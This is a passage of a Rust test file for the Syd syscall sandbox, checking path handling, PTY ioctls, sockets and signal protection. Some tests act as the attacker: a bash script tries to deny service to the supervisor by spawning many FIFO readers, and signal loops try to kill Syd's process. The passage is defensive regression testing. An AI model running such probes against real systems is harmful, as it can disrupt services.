        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_remove_empty_path() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
            .p("off")
            .m("sandbox/read,stat,write,create:on")
            .m("allow/read,stat,write,create+/***")
        .argv([
            "sh",
            "-c",
            "env LC_ALL=C LANG=C LANGUAGE=C rm '' 2>&1 | tee /dev/stderr | grep -qi 'No such file or directory'"
        ])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_open_trailing_slash() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("open_trailing_slash", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_openat_trailing_slash() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("openat_trailing_slash", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_lstat_trailing_slash() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("lstat_trailing_slash", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_fstatat_trailing_slash() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("fstatat_trailing_slash", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_mkdir_symlinks() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("mkdir_symlinks", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_mkdir_trailing_dot() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("mkdir_trailing_dot", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_mkdirat_trailing_dot() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("mkdirat_trailing_dot", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_rmdir_trailing_slashdot() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("rmdir_trailing_slashdot", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_rmdir_trailing_slash_with_symlink() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("rmdir_trailing_slash_with_symlink", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_mkdir_eexist_escape() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/stat,walk,mkdir:on")
        .m("allow/stat,walk,mkdir+/***")
        .m("deny/stat,walk,mkdir+/boot/***")
        .do_("mkdir_eexist_escape", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_mkdirat_eexist_escape() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/stat,walk,mkdir:on")
        .m("allow/stat,walk,mkdir+/***")
        .m("deny/stat,walk,mkdir+/boot/***")
        .do_("mkdirat_eexist_escape", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_mknod_eexist_escape() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/stat,walk,create:on")
        .m("allow/stat,walk,create+/***")
        .m("deny/stat,walk,create+/boot/***")
        .do_("mknod_eexist_escape", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_mknodat_eexist_escape() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/stat,walk,create:on")
        .m("allow/stat,walk,create+/***")
        .m("deny/stat,walk,create+/boot/***")
        .do_("mknodat_eexist_escape", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_fopen_supports_mode_x() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("fopen_supports_mode_x", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_fopen_supports_mode_e() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("fopen_supports_mode_e", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_link_no_symlink_deref() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("link_no_symlink_deref", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_link_posix() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,delete,rename:on")
        .m("allow/read,stat,write,create,delete,rename+/***")
        .do_("link_posix", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_linkat_posix() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,delete,rename:on")
        .m("allow/read,stat,write,create,delete,rename+/***")
        .do_("linkat_posix", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_cp_overwrite() -> TestResult {
    skip_unless_available!("sh");

    // On a buggy Syd, the second cp fails with:
    // cp: cannot stat 'null/null': Not a directory
    let status = syd()
        .p("off")
        .m("sandbox/read,write,create,stat:on")
        .m("allow/read,write,create,stat+/***")
        .argv(["sh", "-cex"])
        .arg(
            r#"
cp /dev/null null
cp /dev/null null
        "#,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_getcwd_long_default() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_("getcwd_long", NONE)
        .status()
        .expect("execute syd");
    assert!(status.success(), "status:{status:?}");

    Ok(())
}

fn test_syd_getcwd_long_paludis() -> TestResult {
    let status = syd()
        .p("paludis")
        .m("allow/all+/***")
        .m("lock:on")
        .do_("getcwd_long", NONE)
        .status()
        .expect("execute syd");
    assert!(status.success(), "status:{status:?}");

    Ok(())
}

fn test_syd_pwd_long_default() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_("pwd_long", NONE)
        .status()
        .expect("execute syd");
    assert!(status.success(), "status:{status:?}");

    Ok(())
}

fn test_syd_pwd_long_paludis() -> TestResult {
    let status = syd()
        .p("paludis")
        .m("allow/all+/***")
        .m("lock:on")
        .do_("pwd_long", NONE)
        .status()
        .expect("execute syd");
    assert!(status.success(), "status:{status:?}");

    Ok(())
}

fn test_syd_creat_thru_dangling_default() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_("creat_thru_dangling", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 14);
    Ok(())
}

fn test_syd_creat_thru_dangling_unsafe() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .m("trace/allow_unsafe_create:1")
        .do_("creat_thru_dangling", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_creat_excl_thru_dangling() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_("creat_excl_thru_dangling", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_mkdirat_non_dir_fd() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("mkdirat_non_dir_fd", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_blocking_udp4() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,net:on")
        .m("trace/allow_safe_bind:0")
        .m("allow/read,stat,write,create+/***")
        .m("allow/net/bind+loopback!65432")
        .m("allow/net/connect+loopback!65432")
        .do_("blocking_udp4", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_blocking_udp6() -> TestResult {
    // Gitlab CI uses docker which has no IPv6.
    if *GL_BUILD {
        eprintln!("IPv6 not available on CI!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,net:on")
        .m("trace/allow_safe_bind:0")
        .m("allow/read,stat,write,create+/***")
        .m("allow/net/bind+loopback6!65432")
        .m("allow/net/connect+loopback6!65432")
        .do_("blocking_udp6", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_close_on_exec() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,net:on")
        .m("allow/read,stat,write,create+/***")
        .do_("close_on_exec", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_open_exclusive_restart() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,net:on")
        .m("allow/read,stat,write,create+/***")
        .do_("open_exclusive_restart", NONE)
        .status()
        .expect("execute syd");
    // FIXME: This is a kernel bug, mixi will report it, check dev/seccomp_poc_no_lib.c
    ignore!(status.success(), "status:{status:?}");
    Ok(())
}

fn test_syd_open_exclusive_repeat() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,net:on")
        .m("allow/read,stat,write,create+/***")
        .do_("open_exclusive_repeat", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_find_root_mount_1() -> TestResult {
    skip_unless_unshare!("user", "mount");
    skip_unless_available!("findmnt");

    let output = syd()
        .stdout(Stdio::piped())
        .stderr(Stdio::inherit())
        .p("off")
        .m("unshare/user,mount:1")
        .argv(["sh", "-cex"])
        .arg("findmnt -no TARGET /")
        .output()
        .expect("execute syd");
    assert_status_ok!(output.status);

    let data = String::from_utf8_lossy(&output.stdout);
    assert_eq!(
        data.lines().count(),
        1,
        "findmnt should return a single entry for rootfs: {data}"
    );

    Ok(())
}

fn test_syd_find_root_mount_2() -> TestResult {
    skip_unless_unshare!("user", "mount");
    skip_unless_available!("findmnt");

    let output = syd()
        .stdout(Stdio::piped())
        .stderr(Stdio::inherit())
        .p("off")
        .m("bind+/:/:nosuid,nosymfollow")
        .m("unshare/user,mount:1")
        .argv(["sh", "-cex"])
        .arg("findmnt -no TARGET /")
        .output()
        .expect("execute syd");
    assert_status_ok!(output.status);

    let data = String::from_utf8_lossy(&output.stdout);
    assert_eq!(
        data.lines().count(),
        2,
        "findmnt should return two entries for rootfs: {data}"
    );

    Ok(())
}

fn test_syd_setsid_detach_tty() -> TestResult {
    let status = syd()
        .p("fs")
        .p("tty")
        .m("allow/all+/***")
        .do_("setsid_detach_tty", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_pty_dev_console_1() -> TestResult {
    skip_unless_stdin_is_a_tty!();

    let status = syd()
        .p("fs")
        .p("tty")
        .m("allow/all+/***")
        .do_("compare_tty", ["/dev/console"])
        .stdin(Stdio::inherit())
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_pty_dev_console_2() -> TestResult {
    skip_unless_stdin_is_a_tty!();

    let status = syd()
        .p("fs")
        .p("tty")
        .m("allow/all+/***")
        .do_("compare_tty", ["/dev/console/"])
        .stdin(Stdio::inherit())
        .status()
        .expect("execute syd");
    assert_status_notdir!(status);

    Ok(())
}

fn test_syd_pty_dev_tty_1() -> TestResult {
    skip_unless_stdin_is_a_tty!();

    let status = syd()
        .p("fs")
        .p("tty")
        .m("allow/all+/***")
        .do_("compare_tty", ["/dev/tty"])
        .stdin(Stdio::inherit())
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_pty_dev_tty_2() -> TestResult {
    skip_unless_stdin_is_a_tty!();

    let status = syd()
        .p("fs")
        .p("tty")
        .m("allow/all+/***")
        .do_("compare_tty", ["/dev/tty/"])
        .stdin(Stdio::inherit())
        .status()
        .expect("execute syd");
    assert_status_notdir!(status);

    Ok(())
}

fn test_syd_pty_dev_ptmx() -> TestResult {
    skip_unless_stdin_is_a_tty!();

    let status = syd()
        .p("fs")
        .p("tty")
        .m("allow/all+/***")
        .do_("compare_tty", ["/dev/ptmx"])
        .stdin(Stdio::inherit())
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

fn test_syd_pty_io_rust() -> TestResult {
    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
    env::set_var("SYD_TEST_TIMEOUT", "30s");
    let status = syd()
        .p("fs")
        .p("tty")
        .m("allow/all+/***")
        .do_("pty_io_rust", NONE)
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", timeout);
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_pty_io_gawk() -> TestResult {
    skip_unless_available!("gawk");

    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
    env::set_var("SYD_TEST_TIMEOUT", "30s");
    let status = syd()
        .p("fs")
        .p("tty")
        .m("allow/all+/***")
        .do_("pty_io_gawk", NONE)
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", timeout);
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_pty_sandbox() -> TestResult {
    skip_unless_available!("sh", "stty");
    skip_unless_stdin_is_a_tty!();
    skip_unless_stdout_is_a_tty!();

    let status = syd()
        .p("off")
        .m("sandbox/pty:on")
        .stdin(Stdio::inherit())
        .argv(["sh", "-ce"])
        .arg(
            r##"
#!/bin/sh

set -eu

log()  { printf '[*] %s\n' "$1"; }
fail() { printf '[!] %s\n' "$1"; exit 1; }

log "Starting PTY sandbox test..."

# 1. TCGETS
log "1. TCGETS: stty -a"
stty -a >stty.pty || fail "TCGETS failed!"

# 2. /dev/tty access
log "2. /dev/tty ioctl: stty -F /dev/tty -a"
stty -F /dev/tty -a > stty.tty || fail "/dev/tty ioctl failed!"

# 3. /dev/tty emulation check.
log "3. /dev/tty emulation check"
cmp stty.pty stty.tty || fail "/dev/tty emulation failed!"

# 4. TCSETS: raw + restore
log "4. TCSETS: stty raw -echo"
stty raw -echo || fail "TCSETS(raw) failed!"
log "   restore: stty sane"
stty sane || fail "TCSETS(sane) failed!"

# 5. Winsize ioctl + SIGWINCH
log "5. Winsize ioctl: stty size"
SIZE1=$(stty size) || fail "TIOCGWINSZ failed!"
log "   recorded size: $SIZE1"
log "   sending SIGWINCH to $$"
kill -WINCH $$ || log "[!] SIGWINCH delivery failed!"
# give the handler a moment...
sleep 1
SIZE2=$(stty size) || fail "TIOCGWINSZ after SIGWINCH failed!"
log "   new size:      $SIZE2"
if [ "$SIZE1" != "$SIZE2" ]; then
    log "[!] size changed: $SIZE1 -> $SIZE2"
fi

log "All checks passed — PTY sandbox is enforcing restrictions."
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_diff_dev_fd() -> TestResult {
    skip_unless_exists!("/dev/fd");
    skip_unless_available!("diff");

    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
    env::set_var("SYD_TEST_TIMEOUT", "30s");
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("diff_dev_fd", NONE)
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", timeout);
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_fifo_multiple_readers() -> TestResult {
    skip_unless_available!("bash");

    let syd_cpu = &SYD_CPU.to_string();
    let status = syd()
        .p("fs")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .argv(["bash", "-c"])
        .arg(format!(
            r#"
# Attempt to DOS syd by spawning multiple FIFO readers in the background.
set -ex
nreaders=$(expr $({syd_cpu}) '*' 10)
fifo=$(env TMPDIR=. mktemp -u)
mkfifo "$fifo"
for i in $(eval echo {{1..${{nreaders}}}}); do
    cat "$fifo" &
done
# Give the cats a little time to settle and potentially block Syd.
sleep 8
# Execute system calls that Syd must intervene, these must not block.
for i in {{1..16}}; do
    touch "$fifo".done
    rm -f "$fifo".done
    sleep 1
done
# All good, unblock the cats and wait.
:>"$fifo"
wait
rm -f "$fifo" || true
"#,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_bind_unix_socket() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,net:on")
        .m("allow/read,stat,write,create+/***")
        .m("allow/net/bind+/***")
        .do_("bind_unix_socket", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_peercred_unix_abs_socket() -> TestResult {
    skip_unless_unix_diag_is_supported!();

    let status = syd()
        .p("fs")
        .m("trace/allow_safe_bind:true")
        .m("allow/all+/***")
        .m("allow/net/bind+@*")
        .do_("peercred", ["@test_peercred_unix.sock"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_peercred_unix_dom_socket() -> TestResult {
    skip_unless_unix_diag_is_supported!();

    let status = syd()
        .p("fs")
        .m("trace/allow_safe_bind:true")
        .m("allow/all+/***")
        .do_("peercred", ["test_peercred_unix.sock"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_readlinkat_proc_self_default() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_("readlinkat_proc_self", NONE)
        .status()
        .expect("execute syd");
    assert_status_loop!(status);

    Ok(())
}

fn test_syd_readlinkat_proc_self_unsafe() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .m("trace/allow_unsafe_open_path:1")
        .do_("readlinkat_proc_self", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_readlinkat_proc_self_unix_default() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .m("allow/net/bind+!unnamed")
        .m("allow/net/sendfd+!unnamed")
        .do_("readlinkat_proc_self_unix", NONE)
        .status()
        .expect("execute syd");
    assert_status_loop!(status);

    Ok(())
}

fn test_syd_readlinkat_proc_self_unix_unsafe() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .m("allow/net/bind+!unnamed")
        .m("allow/net/sendfd+!unnamed")
        .m("trace/allow_unsafe_open_path:1")
        .m("trace/allow_unsafe_symlinks:1")
        .do_("readlinkat_proc_self_unix", NONE)
        .status()
        .expect("execute syd");
    // SECCOMP_NOTIF_ADDFD returns EBADF on
    // O_PATH fd at recvmsg(2) boundary.
    assert_status_bad_file!(status);

    Ok(())
}

fn test_syd_readlink_truncate_proc_self() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_("readlink_truncate", ["/proc/self"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_readlink_truncate_proc_thread_self() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_("readlink_truncate", ["/proc/thread-self"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_readlink_truncate_proc_pid_exe() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_("readlink_truncate", ["/proc/self/exe"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_getdents64_truncate() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_("getdents64_truncate", ["/proc/self"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_exp_signal_protection_pidns_kill_one() -> TestResult {
    skip_unless_unshare!("user", "mount", "pid");
    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());

    // kill(sydpid) does not propagate to syd.
    for sig in Signal::iterator() {
        env::set_var("SYD_TEST_TIMEOUT", "30s");
        let status = syd()
            .log("warn")
            .p("off")
            .m("unshare/user,pid:1")
            .do_("kill", ["1", &format!("{}", sig as i32)])
            .status()
            .expect("execute syd");
        env::set_var("SYD_TEST_TIMEOUT", &timeout);
        assert_status_permission_denied!(status);

        env::set_var("SYD_TEST_TIMEOUT", "30s");
        let status = syd()
            .log("warn")
            .p("off")
            .m("unshare/user,pid:1")
            .do_("kill", ["-1", &format!("{}", sig as i32)])
            .status()
            .expect("execute syd");
        env::set_var("SYD_TEST_TIMEOUT", &timeout);
        assert_status_no_such_process!(status);
    }

    // kill(sydpid,0) does not propagate to Syd.
    env::set_var("SYD_TEST_TIMEOUT", "30s");
    let status = syd()
        .log("warn")
        .p("off")
        .m("unshare/user,pid:1")
        .do_("kill", ["1", "0"])
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", &timeout);
    assert_status_permission_denied!(status);

    env::set_var("SYD_TEST_TIMEOUT", "30s");
    let status = syd()
        .log("warn")
        .p("off")
        .m("unshare/user,pid:1")
        .do_("kill", ["-1", "0"])
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", &timeout);
    assert_status_no_such_process!(status);

    Ok(())
}

fn test_syd_exp_signal_protection_bare_kill_one() -> TestResult {
    skip_unless_available!("sh");
    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
    let (maj, min) = *syd::config::KERNEL_VERSION;

    for sig in Signal::iterator() {
        // mass signaling is not permitted.
        // landlock(7) allows it as it's scoped.
        env::set_var("SYD_TEST_TIMEOUT", "30s");
        let status = syd()
            .log("warn")
            .p("off")
            .do__("kill")
            .argv(["sh", "-cx", &format!("{} -1 {}", *SYD_DO, sig as i32)])
            .status()
            .expect("execute syd");
        env::set_var("SYD_TEST_TIMEOUT", &timeout);
        if maj < 6 || (maj == 6 && min < 12) {
            assert_status_no_such_process!(status);
        } else {
            assert_status_ok!(status);
        }

        // kill(sydpid) does not propagate to syd.
        env::set_var("SYD_TEST_TIMEOUT", "30s");
        let status = syd()
            .log("warn")
            .p("off")
            .do__("kill")
            .argv([
                "sh",
                "-cx",
                &format!("{} ${{PPID}} {}", *SYD_DO, sig as i32),
            ])
            .status()
            .expect("execute syd");
        env::set_var("SYD_TEST_TIMEOUT", &timeout);
        assert_status_permission_denied!(status);

        // kill(-sydpid) does not propagate to syd.
        env::set_var("SYD_TEST_TIMEOUT", "30s");
        let status = syd()
            .log("warn")
            .p("off")
            .do__("kill")
            .argv([
                "sh",
                "-cx",
                &format!("{} -${{PPID}} {}", *SYD_DO, sig as i32),
            ])
            .status()
            .expect("execute syd");
        env::set_var("SYD_TEST_TIMEOUT", &timeout);
        assert_status_no_such_process!(status);
    }

    // mass broadcast signal is OK.
    env::set_var("SYD_TEST_TIMEOUT", "30s");
    let status = syd()
        .log("warn")
        .p("off")
        .do__("kill")
        .argv(["sh", "-cx", &format!("{} -1 0", *SYD_DO)])
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", &timeout);
    assert_status_ok!(status);

    // kill(sydpid,0) does not propagate to Syd.
    env::set_var("SYD_TEST_TIMEOUT", "30s");
    let status = syd()
        .log("warn")
        .p("off")
        .do__("kill")
        .argv(["sh", "-cx", &format!("{} ${{PPID}} 0", *SYD_DO)])
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", &timeout);
    assert_status_permission_denied!(status);

    // kill(-sydpid,0) won't work.
    env::set_var("SYD_TEST_TIMEOUT", "30s");
    let status = syd()
        .log("warn")
        .p("off")
        .do__("kill")
        .argv(["sh", "-cx", &format!("{} -${{PPID}} 0", *SYD_DO)])
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", &timeout);
    assert_status_no_such_process!(status);

    Ok(())
}

fn test_syd_exp_signal_protection_pidns_tkill_one() -> TestResult {
    skip_unless_unshare!("user", "mount", "pid");
    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
    let (maj, min) = *syd::config::KERNEL_VERSION;

    // tkill(sydpid) does not propagate to syd.
    for sig in Signal::iterator() {
        env::set_var("SYD_TEST_TIMEOUT", "30s");
        let status = syd()
            .log("warn")
            .p("off")
            .m("unshare/user,pid:1")
            .do_("tkill", ["1", &format!("{}", sig as i32)])
            .status()
            .expect("execute syd");
        env::set_var("SYD_TEST_TIMEOUT", &timeout);
        if maj < 6 || (maj == 6 && min < 12) {
            assert_status_no_such_process!(status);
        } else {
            assert_status_permission_denied!(status);
        }

        env::set_var("SYD_TEST_TIMEOUT", "30s");
        let status = syd()
            .log("warn")
            .p("off")
            .m("unshare/user,pid:1")
            .do_("tkill", ["-1", &format!("{}", sig as i32)])
            .status()
            .expect("execute syd");
        env::set_var("SYD_TEST_TIMEOUT", &timeout);
        assert_status_invalid!(status);
    }

    // tkill(sydpid,0) does not propagate to Syd.
    env::set_var("SYD_TEST_TIMEOUT", "30s");
    let status = syd()
        .log("warn")
        .p("off")
        .m("unshare/user,pid:1")
        .do_("tkill", ["1", "0"])
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", &timeout);
    assert_status_permission_denied!(status);

    env::set_var("SYD_TEST_TIMEOUT", "30s");
    let status = syd()
        .log("warn")
        .p("off")
        .m("unshare/user,pid:1")
        .do_("tkill", ["-1", "0"])
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", &timeout);
    assert_status_invalid!(status);

    Ok(())
}

fn test_syd_exp_signal_protection_bare_tkill_one() -> TestResult {
    skip_unless_available!("sh");
    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());

    for sig in Signal::iterator() {
        // mass signaling is not permitted.
        env::set_var("SYD_TEST_TIMEOUT", "30s");
        let status = syd()
            .log("warn")
            .p("off")
            .do__("tkill")
            .argv(["sh", "-cx", &format!("{} -1 {}", *SYD_DO, sig as i32)])
            .status()
            .expect("execute syd");
        env::set_var("SYD_TEST_TIMEOUT", &timeout);
        assert_status_invalid!(status);

        // tkill(sydpid) does not propagate to syd.
        env::set_var("SYD_TEST_TIMEOUT", "30s");
        let status = syd()
            .log("warn")
            .p("off")
            .do__("tkill")
            .argv([
                "sh",
                "-cx",
                &format!("{} ${{PPID}} {}", *SYD_DO, sig as i32),
            ])
            .status()
            .expect("execute syd");
        env::set_var("SYD_TEST_TIMEOUT", &timeout);
        assert_status_permission_denied!(status);

        // tkill(-sydpid) does not propagate to syd.
        env::set_var("SYD_TEST_TIMEOUT", "30s");
        let status = syd()
            .log("warn")
            .p("off")
            .do__("tkill")
            .argv([
                "sh",
                "-cx",
                &format!("{} -${{PPID}} {}", *SYD_DO, sig as i32),
            ])
            .status()
            .expect("execute syd");
        env::set_var("SYD_TEST_TIMEOUT", &timeout);
        assert_status_invalid!(status);
    }

    // mass broadcast with 0 is invalid.
    env::set_var("SYD_TEST_TIMEOUT", "30s");
    let status = syd()
        .log("warn")
        .p("off")
        .do__("tkill")
        .argv(["sh", "-cx", &format!("{} -1 0", *SYD_DO)])
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", &timeout);
    assert_status_invalid!(status);

    // tkill(sydpid,0) does not propagate to Syd.
    env::set_var("SYD_TEST_TIMEOUT", "30s");
    let status = syd()
        .log("warn")
        .p("off")
        .do__("tkill")
        .argv(["sh", "-cx", &format!("{} ${{PPID}} 0", *SYD_DO)])
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", &timeout);
    assert_status_permission_denied!(status);

    // tkill(-sydpid,0) is invalid.
    env::set_var("SYD_TEST_TIMEOUT", "30s");
    let status = syd()
        .log("warn")
        .p("off")
        .do__("tkill")
        .argv(["sh", "-cx", &format!("{} -${{PPID}} 0", *SYD_DO)])
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", &timeout);
    assert_status_invalid!(status);

    Ok(())
}

fn test_syd_exp_signal_protection_pidns_sigqueue_one() -> TestResult {
    skip_unless_unshare!("user", "mount", "pid");
    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());

    // sigqueue(sydpid) does not propagate to syd.
    for sig in Signal::iterator() {
        env::set_var("SYD_TEST_TIMEOUT", "30s");
        let status = syd()
            .log("warn")
            .p("off")
            .m("unshare/user,pid:1")
            .do_("sigqueue", ["1", &format!("{}", sig as i32)])
            .status()
            .expect("execute syd");
        env::set_var("SYD_TEST_TIMEOUT", &timeout);
        assert_status_permission_denied!(status);

        env::set_var("SYD_TEST_TIMEOUT", "30s");
        let status = syd()
            .log("warn")
            .p("off")
            .m("unshare/user,pid:1")
            .do_("sigqueue", ["-1", &format!("{}", sig as i32)])
            .status()
            .expect("execute syd");
        env::set_var("SYD_TEST_TIMEOUT", &timeout);
        assert_status_no_such_process!(status);
    }

    // sigqueue(sydpid,0) does not propagate to syd due to kernel.
    env::set_var("SYD_TEST_TIMEOUT", "30s");
    let status = syd()
        .log("warn")
        .p("off")
        .m("unshare/user,pid:1")
        .do_("sigqueue", ["1", "0"])
        .status()
        .expect("execute syd");
